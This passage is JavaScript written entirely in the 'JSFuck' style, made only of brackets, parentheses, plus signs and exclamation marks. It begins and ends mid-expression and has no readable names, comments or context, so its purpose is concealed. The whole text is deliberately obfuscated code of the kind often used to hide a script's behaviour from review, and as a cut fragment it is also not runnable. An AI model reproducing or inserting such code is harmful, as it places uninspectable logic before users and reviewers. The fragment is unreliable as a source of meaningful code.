!+[]+!+[]]+[+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[+!+[]]+(+(+!+[]+[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+[!+[]+!+[]]+[+[]])+[])[+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+([][[]]+[])[!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+[+!+[]]+[+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+([][[]]+[])[+[]]+([][[]]+[])[+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[+[]]+(![]+[])[+!+[]]+(!![]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[+!+[]]+[+!+[]]+([][[]]+[])[+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+([][[]]+[])[!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[+!+[]]+(+(+!+[]+[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+[!+[]+!+[]]+[+[]])+[])[+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+[+!+[]]+[+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+([][[]]+[])[+[]]+([][[]]+[])[+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]+!+[]]+(+[![]]+[])+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+[+!+[]]+[+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+([][[]]+[])[+[]]+([][[]]+[])[+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(+(+!+[]+[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+[!+[]+!+[]]+[+[]])+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]]+(+[![]]+[])[+[]]+(!![]+[])[+[]]+[+!+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[+!+[]]+[+[]]+[+!+[]]+(+[![]]+[])[+[]]+(!![]+[])[+[]]+[+!+[]]+[+!+[]]+[+!+[]]+(!![]+[])[+[]]+[+!+[]]+[+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[+!+[]]+[+[]]+[+!+[]]+(+[![]]+[])[+[]]+(!![]+[])[+[]]+[+!+[]]+[+!+[]]+[+!+[]]+(!![]+[])[+[]]+[+!+[]]+[+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(+[![]]+[])[+[]]+(!![]+[])[+[]]+[+!+[]]+[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]]+[!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[+!+[]]+[+[]]+[+!+[]]+(+[![]]+[])[+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[+!+[]]+[+!+[]]+(!![]+[])[+[]]+[+!+[]]+[+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[+!+[]]+[+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[+!+[]]+[+[]]+[+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[+[]]+[!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[+!+[]]+[+[]]+[+!+[]]+(+[![]]+[])[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[+!+[]]+[+[]]+[+!+[]]+(+[![]]+[])[+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]]+[!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[+!+[]]+[+[]]+[+!+[]]+(!![]+[])[+[]]+[+!+[]]+[+!+[]]+[!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[+!+[]]+[+!+[]]+[+!+[]]+(!![]+[])[+[]]+[+!+[]]+[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+(+[![]]+[])[+[]]+(!![]+[])[+[]]+[+!+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[+[]]+[!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(+(+!+[]+[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+[!+[]+!+[]]+[+[]])+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[+[]]+[+!+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[+!+[]]+[+!+[]]+[+!+[]]+(!![]+[])[+[]]+[+!+[]]+[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[+[]]+[+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]]+[!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]]+[!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[+!+[]]+[+!+[]]+(!![]+[])[+[]]+[+!+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]]+(!![]+[])[+!+[]]+(![]+[])[+!+[]]+([][[]]+[])[+!+[]]+([][[]]+[])[!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]]+(!![]+[])[+!+[]]+(![]+[])[+!+[]]+([][[]]+[])[+!+[]]+([][[]]+[])[!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[+[]]+(![]+[])[+!+[]]+([][[]]+[])[+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[+[]]+(![]+[])[+!+[]]+([][[]]+[])[+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]]+(!![]+[])[+!+[]]+(![]+[])[+!+[]]+([][[]]+[])[+!+[]]+([][[]]+[])[!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(+(+!+[]+[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+[!+[]+!+[]]+[+[]])+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+([][[]]+[])[+!+[]]+([][[]]+[])[!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+([][[]]+[])[+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+([][[]]+[])[+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+(+(+!+[]+[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+[!+[]+!+[]]+[+[]])+[])[+!+[]]+(+(+!+[]+[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+[!+[]+!+[]]+[+[]])+[])[+!+[]]+(+(+!+[]+[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+[!+[]+!+[]]+[+[]])+[])[+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[+!+[]]+[+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(+(+!+[]+[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+[!+[]+!+[]]+[